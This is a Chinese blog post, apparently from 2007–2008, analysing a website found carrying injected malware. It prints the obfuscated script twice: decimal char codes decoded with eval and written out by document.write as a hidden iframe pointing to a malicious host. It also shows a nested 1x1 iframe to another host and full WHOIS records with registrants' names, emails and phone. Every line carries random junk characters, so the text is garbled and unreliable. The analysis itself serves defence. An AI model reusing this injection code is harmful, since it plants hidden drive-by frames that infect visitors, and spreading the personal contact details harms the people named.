首发在我的博客里面，
7;'33Bm* -pC8 L< http://www.areway.cn/?p=175 h@:K=gg K 8H!QekQZ]\ F!omkN 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
`9~
%6N?7# ,WT>"9+ <script>t=’60,105,102,114,97,109,101,
}Z!D?( 32,115,114,99,61,104,116,116,112,58,47,47,
)g0fN+Mb 102,114,101,101,46,117,45,117,117,117,46,99,
{0zn~+ 110,47,101,114,114,111,114,46,104,116,109,
M; (,0d k 32,119,105,100,116,104,61,49,48,48,32,104,
Yd^@Ei9 101,105,103,104,116,61,48,62,60,47,105,102,
G=zWhqieh 114,97,109,101,62′;
!g svF\XDM t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
H];B?G';C G-aR%]7$g <script>t=’60,105,102,114,97,109,101,32,115,
M +/xw8}a 114,99,61,104,116,116,112,58,47,47,102,114,
'Uok<; 101,101,46,117,45,117,117,117,46,99,110,47,
mB?x_6#d9 101,114,114,111,114,46,104,116,109,32,119,
$NXP)Lic) 105,100,116,104,61,49,48,48,32,104,101,105,
wKV4-uyr 103,104,116,61,48,62,60,47,105,102,114,97,
ud1M-lY\U 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
.Eao|; document.write(t);</script>
\Cb JU Ut Z,q!sg <html xmlns=”
C-'hXh;hQ http://www.w3.org/1999/xhtml {1W:@6tl “>
ccD+AGM.
<head>
W yL+HB} <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Fn w:alWr <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Ha'[uEDb <title>首页 - 爱生活家庭网
Rj8%% G-pt .HqFdsm 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
2eT?qCxqc 转换字符串后的大概内容是（谁点击后果自付）：
dUI5,3 * <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
MmuT~d/ kB\{ 1; 查询玉米u-uuu.cn的详细信息：
E~'mxx~i Domain Name: u-uuu.cn
x(_[D08/TT ROID: 20070901s10001s64972306-cn
*b~6 B M$ Domain Status: ok
p? @ %/!S Registrant Organization: 王雷
@mp`C}x"0& Registrant Name: 王雷
xmW~R*^ Administrative Email:
czlovexs@126.com (\V
i _ Sponsoring Registrar: 北京万网志成科技有限公司
"q@m6 fs Name Server:ns.yovole.com
[K!9x M6 Name Server:ns1.yovole.com
Gr"CHz/ Registration Date: 2007-09-01 17:54
? 1e{\XW Expiration Date: 2008-09-01 17:54
8[^'PIz 最后PING了一下地址 都没有什么….
QTV*m>D .n-#A 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
y8Va>ul"U <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
F L0uY0K <script language=”javascript” src=”
yV30x9i!2 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script I.2J-pu} >
yU? jmJ 这个玉米应该有可能是木马作者的：
~/
%Xm< foafau.info的详细信息：
39 pG-otJ Access to INFO WHOIS information is provided to assist persons in
NW3 c_] `= determining the contents of a domain name registration record in the
4zug9kFK Afilias registry database. The data in this record is provided by
hlTbCl Afilias Limited for informational purposes only, and Afilias does not
2z.ot' guarantee its accuracy. This service is intended only for query-based
92+8zX access. You agree that you will use this data only for lawful purposes
c\bL_ and that, under no circumstances will you use this data to: (a) allow,
{pzj@b 1S enable, or otherwise support the transmission by e-mail, telephone, or
ZykMri3b i facsimile of mass unsolicited, commercial advertising or solicitations
W :w~ M'o to entities other than the data recipient’s own existing customers; or
s}D>.9 (b) enable high volume, automated, electronic processes that send
{h<D/:^v queries or data to the systems of Registry Operator, a Registrar, or
@ [$_cGR7 Afilias except as reasonably necessary to register domain names or
yU$ MB,1 modify existing registrations. All rights reserved. Afilias reserves
vdQoJWuB the right to modify these terms at any time. By submitting this query,
S}m_XR] you agree to abide by this policy.
OMGggg Domain ID:D22418703-LRMS
G=dzP}B'WA Domain Name:FOAFAU.INFO
$Y$9]G": Created On:20-Nov-2007 16:05:42 UTC
0}{xH Last Updated On:20-Nov-2007 16:05:44 UTC
NE995; Expiration Date:20-Nov-2008 16:05:42 UTC
iyskADS Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
s?SspuV Status:CLIENT DELETE PROHIBITED
>4 OXG7.&f Status:CLIENT RENEW PROHIBITED
ao(T81 Status:CLIENT TRANSFER PROHIBITED
~MpikB f Status:CLIENT UPDATE PROHIBITED
%|Ps|iV Status:TRANSFER PROHIBITED
k3\N . @\ Registrant ID:GODA-040110615
D} -.< Registrant Name:liu hong
98m|&7 Registrant Organization:
=;}W)V|X)S Registrant Street1:beijing
|(7}0]BP0 Registrant Street2:
jm_-f Registrant Street3:
GkIE;7#2kX Registrant City:beijing
*bkb-n Kw Registrant State/Province:
N<EVs.7 Registrant Postal Code:100000
{Gxe%gu6K Registrant Country:CN
7
, Rg~L Registrant Phone:+86.860108888777
t6+m` Kq Registrant Phone Ext.:
^;C & Registrant FAX:
V"FQVtTx7 Registrant FAX Ext.:
HpwMm^ Registrant Email:bbbshiji@163.com
|WS)KR ! Admin ID:GODA-240110615
Bqx5N" Admin Name:liu hong
'CLZ7 pV Admin Organization:
EM ,C Admin Street1:beijing
Tc2.ciU Admin Street2:
VYyija: Admin Street3:
W,q @ww u Admin City:beijing
t=_^$M,yr Admin State/Province:
lQA5HzC\ Admin Postal Code:100000
50UdY9E_v} Admin Country:CN
9&Y@g)+2 Admin Phone:+86.860108888777
@Z)|_ Admin Phone Ext.:
\l+v,ELX= Admin FAX:
$ /VQsb Admin FAX Ext.:
%Bq~b$ Admin Email:bbbshiji@163.com
UA[`{rf Billing ID:GODA-340110615
DM.l Q0xk Billing Name:liu hong
r8k (L{W Billing Organization:
f^c+M~\JKj Billing Street1:beijing
qsj{0 Go Billing Street2:
{C1crp>q Billing Street3:
A~ya{^} Billing City:beijing
sXKkZ+2q Billing State/Province:
k.T=&0J_1 Billing Postal Code:100000
LZ*8YNp1' Billing Country:CN
-@ TY8#O#- Billing Phone:+86.860108888777
8\"<t/_
W Billing Phone Ext.:
ZbnAAbfKH Billing FAX:
Uqr>8|t? Billing FAX Ext.:
+`y(S}Z Billing Email:bbbshiji@163.com
+9)Jtm oL Tech ID:GODA-140110615
TS<d? : Tech Name:liu hong
/-=fWtA Tech Organization:
lFBdiIw Tech Street1:beijing
<}a?<):S Tech Street2:
+X? ErQm Tech Street3:
ju~$FNt8R Tech City:beijing
Gvb2 >ZN Tech State/Province:
Lp` .fn8Ln Tech Postal Code:100000
x`CjFa E~F Tech Country:CN
Z9{~t Tech Phone:+86.860108888777
Hq@+m! Tech Phone Ext.:
Daf|.5>(@ Tech FAX:
}nx)|J*p Tech FAX Ext.:
"hk cN+= Tech Email:bbbshiji@163.com
g` rr3jP Name Server:NS27.DOMAINCONTROL.COM
=]5t YIU Name Server:NS28.DOMAINCONTROL.COM
~/O Y1~c Name Server:
w$2q00R> Name Server:
'g v0;L Name Server:
.ZXoRT Name Server:
V^~RDOSy7n Name Server:
g?j)p y Name Server:
FaHOutP Name Server:
5Rqdo \vE Name Server:
/Vlc8G Name Server:
"k zKQ~ Name Server:
*D5 xbkH=. Name Server:
I16FVdUun4 ;Iu _*U9) 接着下载每个文件里面的代码：
Met?G0[ 一步一步看..
{gMe<y 
W"{G gk ` 
l1KMEGmG 
hCxg6e<[ 
hA=uoe\ 
y:G%p3h)[ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
